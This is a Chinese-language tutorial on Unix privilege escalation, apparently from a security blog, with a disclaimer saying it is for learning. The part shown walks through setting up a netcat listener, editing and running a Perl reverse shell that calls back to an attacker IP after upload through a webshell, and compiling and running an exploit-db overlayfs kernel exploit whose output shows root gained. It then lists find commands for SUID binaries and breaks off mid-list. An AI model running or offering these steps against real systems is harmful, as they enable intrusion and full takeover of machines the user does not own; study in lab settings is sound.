系统提权之:Unix 提权

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

系统提权之:Unix 提权

  • 1 Unix 内核漏洞提权
    • 1.1 利用前提
    • 1.2 利用 NC 建立 Shell 会话(便于操作)
      • 1.2.1 本地配置 NC 监听
      • 1.2.2 上传 perl-reverse-shell.pl 反弹 Shell
    • 1.3 查询 Unitx 系统内核信息
    • 1.4 查找内核版本对应的提权 EXP
    • 1.5 提权
    • 1.6 切换 shell
  • 2 SUID 提权
    • 2.1 利用前提
    • 2.2 SUID/SGID/SBIT:
    • 2.3 SUID 提权
    • 2.4 查找可利用的 SUID 文件
    • 2.5 已知可用来提权的命令
      • 2.5.1 nmap 提权
      • 2.5.2 find 提权
      • 2.5.3 bash 提权
      • 2.5.4 cp 提权
      • 2.5.5 more/less 提权
      • 2.5.6 awk 提权
      • 2.5.7 vim 提权
      • 2.5.8 man 提权
      • 2.5.9 python 提权
      • 2.5.10 tcpdump 提权
      • 2.5.11 perl 提权
    • 2.3 反弹 shell
  • 3 Sudo 提权
    • 3.1 配置 sudo 账户
    • 3.2 sudo 漏洞
    • 3.3 利用 sudo 配置不当提权
  • 4 劫持环境变量提权
    • 4.1 创建 env_exp.c 文件
      • 4.1.1 编译 env_exp.c 文件
    • 4.2 创建自定义 echo 命令
      • 4.2.1 创建 echo.c 文件
      • 4.2.2 编译 env_exp.c 文件
      • 4.2.3 验证
  • 5 CRON JOBS 提权
    • 5.1 /tmp 下创建 getdash.py 脚本:
    • 5.2 赋予权限:
    • 5.3 设置计划任务
    • 5.4 执行 dash
  • 6 MYSQL UDF提权
    • 6.1 什么是 UDF
    • 6.2 利用方式
  • 7 GNU C library动态链接区$ORIGIN溢出提权
  • 8 脏牛漏洞提权
    • 8.1 脏牛漏洞
    • 8.2 利用前提
    • 8.3 上传 EXP 文件到靶机
    • 8.4 提权

1 Unix 内核漏洞提权

通常我们在获取到一个 Webshell 的时候,一般权限都是 WEB 容器权限且权限较低(如在 IIS 就是 IIS 用户组权限,在 Apache 就是 Apache 权限)。如果想进行内网渗透就必须将权限提权到最高,如系统权限或超级管理员权限。

1.1 利用前提

获得一台靶机的 Webshell 后门。

1.2 利用 NC 建立 Shell 会话(便于操作)

为了防止会话被靶机的防火墙阻断,使用反弹 Shell。

1.2.1 本地配置 NC 监听

diegocr/netcat: NetCat for Windows (github.com)

nc -vlp 1234

1.2.2 上传 perl-reverse-shell.pl 反弹 Shell

perl-reverse-shell.pl 文件下载地址

  1. 修改文件中 IP 变量参数为本地主机 IP 地址,如:
my $ip = '192.168.100.1';
my $port = 1234;
# 端口默认为 1234,可自定义,需要注意本地 NC 监听的端口也需要修改。
  1. 修改完成后,利用菜刀或蚁剑连接 Webshell 后门,上传 perl-reverse-shell.pl 到靶机上,如:
# pwd
/tmp
# ls
perl-reverse-shell.pl
  1. 给 perl-reverse-shell.pl 文件添加执行权限
chmod +x perl-reverse-shell.pl
  1. 执行 perl-reverse-shell.pl 文件
./perl-reverse-shell.pl

1.3 查询 Unitx 系统内核信息

# cat /etc/issue
Ubuntu 15.04 \n \l

# cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=15.04
DISTRIB_CODENAME=vivid
DISTRIB_DESCRIPTION="Ubuntu 15.04"
NAME="Ubuntu"
VERSION="15.04 (Vivid Vervet)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 15.04"
VERSION_ID="15.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

# uname -a
Linux moonteam-virtual-machine 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:37 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
#

# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 15.04
Release:        15.04
Codename:       vivid

1.4 查找内核版本对应的提权 EXP

使用 www.exploit-db.com 网站进行查找,如:查找:3.19.0 对应的提权 EXP 为 37292.c:

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - ‘overlayfs’ Local Privilege Escalation - Linux local Exploit (exploit-db.com)

1.5 提权

在本地编译或在靶机上编译 EXP 文件:

# ls
37292.c
# gcc -o exp 37292.c
# ls
37292.c
exp

运行 EXP 提权

#提权之前
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

#提权
$ ./exp
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off

#提权之后
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

1.6 切换 shell

以 bash shell 交互命令。

前提

  • 靶机安装了 Python
python -c "import pty; pty.spawn('/bin/bash')"

2 SUID 提权

SUID (Set owner User ID up on execution) 是给予文件的一个特殊类型的文件权限。在 Linux/Unix中,当一个程序运行的时候, 程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的 UID 和 GID。

2.1 利用前提

  1. SUID只对二进制文件有效
  2. 调用者对该文件有执行权
  3. 在执行过程中,调用者会暂时获得该文件的所有者权限
  4. 该权限只在程序执行的过程中有效

2.2 SUID/SGID/SBIT:

  1. SUID:set_uid(强制位): [s 4]
    • 它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。,(必须是可执行,二进制的,不能在目录上设置suid的权限。)
  2. SGID:set_gid sgid: [s 2]
    • 它出现在文件所属组权限的执行位上面,它对普通二进制文件和目录都有效。当它作用于普通文件时,和SUID类似,在执行该文件时,用户将获得该文件所属组的权限。当SGID作用于目录时,意义就非常重大了。当用户对某一目录有写和执行权限时,该用户就可以在该目录下建立文件,如果该目录用SGID修饰,则该用户在这个目录下建立的文件都是属于这个目录所属的组。
  3. SBIT:stick_bit : [t 1 ]
    • 它出现在其他用户权限的执行位上,它只能用来修饰一个目录。当某一个目录拥有SBIT权限时,则任何一个能够在这个目录下建立文件的用户,该用户在这个目录下所建立的文件,只有该用户自己和root可以删除,其他用户均不可以。

2.3 SUID 提权

SUID 可以让调用者以文件拥有者的身份运行该文件,因此利用 SUID 提权的思路就是运行 root 用户所拥有的 SUID 的文件,那么我们运行该文件的时候就得获得 root 用户的身份了。

2.4 查找可利用的 SUID 文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
命令解析:
/		表示从文件系统的顶部(根)开始并找到每个目录
-perm 	表示搜索随后的权限
-u=s	表示查找root用户拥有的文件
-type	表示我们正在寻找的文件类型
f		表示常规文件,而不是目录或特殊文件
2		表示该进程的第二个文件描述符,即stderr(标准错误)
>		

你可能感兴趣的:(Metasploit,unix,安全,提权)